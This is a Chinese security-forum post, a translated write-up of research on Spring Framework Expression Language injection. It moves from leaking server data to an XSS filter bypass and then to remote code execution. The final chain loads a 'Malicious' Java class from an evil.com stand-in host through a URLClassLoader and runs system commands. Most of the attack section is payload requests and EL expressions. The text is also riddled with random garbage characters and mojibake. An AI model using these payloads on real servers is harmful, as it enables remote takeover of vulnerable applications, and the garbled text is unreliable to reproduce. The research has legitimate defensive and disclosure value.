找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2099|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
* r1 I( F' N2 \% ~Expression Language Injection
  h7 o* q2 ~0 qSpring Framework脆弱性—DanAmodio
) V9 h; [& C- l全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
! G8 v/ x9 N; U! o. d7 N& _# c可能会存在风险。
- \; L3 Y6 ^1 `* A, N3 a( b2 X1 O在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的) W! ^8 Y  Q, g0 L0 P1 C
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可. o& P1 `( {6 t
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,! `4 |. G5 V; x) h
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
2 s5 O6 s  J, [( {: z1 m- P版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。1 M0 k6 H( s4 a* \3 M
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但8 _1 J- |( [6 r: F1 t! a
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版5 Y: G' k  }( Z* \, C
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
9 }) `- z8 Z; D$ O' m6 F- j5 W这些版本不支持禁用double EL resolution.. d2 P1 e0 Q9 |3 M+ l% ~
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含; C8 z  U4 Q4 M
EL2.2容器上可能进行远程代码执行。
' Z) I1 T% w4 Q% ~4 t这是一个原始信息泄露的攻击例子:' a( G- y! x2 j& D8 J
请求:! U( K5 H% w- N
ttp://vulnerable.com/foo?message=${applicationScope}
" D( L+ K$ b; m7 @, Y3 o/ h到达以下内容页面:
9 z& O$ E. `6 c9 c6 B- h) S* B结果将输出一些包含内部服务器信息calsspath 和本地工作目录
! y8 E$ `7 M; h你也可以做一些其他事情,如这样:3 u% O7 H8 m0 N; Y
${9999+1}% {( W" [, [; V5 U5 t' j
还可以访问session 对象和beans
9 z- z: K/ d6 g4 |${employee.lastName}
' a% H5 C8 X( x" Z, s0 x8 @7 J. }在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
( y# X+ Y. ?# O3 R; nEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
# B7 W4 H) T# M" q4 x& p- A西,比如XSS., r( {9 P0 Q( }, O1 r' h3 w
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签) K5 e) z# z" G0 D3 }. @
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤# Z% D# o, i  B
呢?”
) U2 t$ M) s9 Q& ~) w因此,我尝试巳缦拢�4 h3 F+ l- l; d8 ?: Q& \+ g
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP( e" L$ U* _+ M' B
P
; w. H: B% p8 t7 D* I/ y8 ]我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
* }9 n3 I3 T, F回的文本被插入进了spring:message 标签。
. l! s/ [- v  W! h这里是一个最终绕过过滤的实例:) g9 S' i) S( A' N7 {1 K6 s
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
5 Z0 T0 f# U! b它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
4 Q2 ^4 d) l! E# W什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
2 l6 N* m/ D' `# f! e9 k经过一番研究,我学习到EL2.2 增加了方法调用。) j" Y" Y( L3 F  k" n
我写了一个快速测试应用程序代码并且检测一些功能8 e# T5 l6 h& x& `" [: Z" }: e$ ~
${pageContext.request.getSession().setAttribute(“account”,”123456″)}8 j2 N2 X3 C" z" z2 S( B
${pageContext.request.getSession().setAttribute(“admin”,true)}: n) P1 u* W: }- ]
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的# L; d: ]9 Z0 e, Z: p  [
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
1 [4 J( ?! t; k- o${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1% ^( N; _5 k! T$ n& @
“, 1234)}
$ R( K7 j0 Y, v- ?${“”.getClass().forName(“java.lang.Runtime”)}+ s$ ?+ R# T9 Z( ^2 A1 i, q" t( O
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
& c0 W( ]) `! k5 X% U1 k( C可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函9 [+ U- }$ L- b- I1 g
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有3 J5 v  t: p; U4 u' n
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于; p3 ~, C, V/ H9 N& h
方法签名invoke(Object obj, Object„ args)1 c4 [) |# [) A5 `# j
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
# y2 V! n6 j7 Z7 p7 x题,以让它可以工作起来。% [: ^+ }9 C0 G' t& l
漏洞利用:: p. S8 {0 \+ R$ F& t, f/ j4 x' M( u
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
, Q) ^0 A3 U* y7 r9 Y# q2 b7 D  ^希望你们中的一些JAVA奇才告诉我我是如此的可笑。
* C( R: ?0 [; A" ~! R. k- i. E这里有一些我试过的失败的用例,为了试图让它工作的用例:% A5 F" S7 w. p7 {( t6 T8 N2 g5 m
 写文件到文件系统/ g. Z# l3 ]( U1 P4 @/ I* z
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
5 w' A& z: H- O我认为这些可以很好的工作,但是我不能找到合适的类来载入。, j* Q( z, i* W" \! V
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}5 A0 L9 Y' X6 h6 o+ m7 U: L
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:' b4 T2 `$ h* G0 a# T
org.springframework.expression.spel.standard.SpelExpressionParser not found
5 {+ P' d2 N7 h# zby
+ D+ z* E! \8 t0 Dorg.glassfish.web.javax.servlet.jsp [194].
, f- a8 y+ [  \ 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
- j  S7 C! t. x* |5 L 利用反射来创建一个新的Runtime(and watch the world burn), u8 z' I; W; ~
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
$ M8 s* f. H" |% @' m(“java.lang.Runtime”)).getDeclaredConstructors()[0])}: l- j  w: o# L* T( ?
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}! G0 ?, ?' m7 r* K4 M2 F' ?9 T
 使用java.lang.ProcessBuilder
; z# i$ `9 R5 m 用表达式语言来评估表达式语言
3 M; f' I- _+ ZExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
4 c7 I' g1 g4 p${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
% Q6 N( l5 z, A' x2 S4 d' _1 j“,”".getClass(),null)}
- w% U  _* g% M6 Z  E' G 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
( b. d' q/ `% V7 z我在使用一个空数组通过Method.invoke()时失败了很多次
0 M! q* k- [0 S! n( g  \7 E“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
& |# L# N4 p- O  ^.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
9 p. }8 }+ L# N+ QrrayList”).newInstance().toArray())2 M2 _# {8 g% ?% e3 z, _  _/ u
java.lang.IllegalArgumentException: wrong number of arguments
) W, k. W5 g* r" |! A4 H最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可' B1 x1 Z! N  E- x$ i/ p
以创建一个恶意class文件并且指向类装载器., v- s% E4 w3 s9 f$ T. z7 V
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
9 [1 G: i# G  lpublic class Malicious {; O- `1 _! |4 j$ w6 E
public Malicious() {$ B) t: J  \2 |( G: i
try {
' G0 W9 G5 t2 rjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac3 X  ?5 l0 W, i+ @2 }' b* h
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
$ l5 r' ^# a& e9 B3 g7 s} catch (Exception e) {  c; p/ f8 O+ ^; L+ Q
}
' k  d: _/ a2 }: l& B}  O8 I* z# e) \: K+ [
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
' T$ j8 P- S1 {; M- _1 J/ G' g话中,因此它可以被使用.! M# {. I, a9 \# z. N5 v1 j& q
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
* E3 K9 ~) O$ `- @" W. k(“java.util.ArrayList”).newInstance())}
- X; j  K* i; V# u, h, B5 `2 @URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建  e) X* I" n. e! T
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
9 K5 g/ x! A% GgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个: [  g% m1 B% @
我们可以调用的create(string)方法,然后转换对一个URL对象。
! q) c* @) a* ]1 K4 t% ?${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
: i! Z. L" |; ~& L2 x9 \4 sere/malicious/classfile/is/located/”).toURL())}. }: d5 \9 x1 T
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,# r( q- H. i: ?4 X5 W
恶意类文件被装载并创建,触发远程代码.. X! A- I  N( N
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
3 \+ p# O) x& \( k- kxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().7 }; \0 O3 I  R; |
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
4 O/ t8 x1 b; z4 v9 I' z()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表